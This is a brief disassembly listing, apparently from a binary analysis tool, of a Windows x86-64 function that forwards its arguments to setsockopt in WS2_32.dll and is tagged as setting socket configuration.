ret

Function at 0x14003bd80
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x60]
mov r8d, dword [rsp + 0x58]
mov edx, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret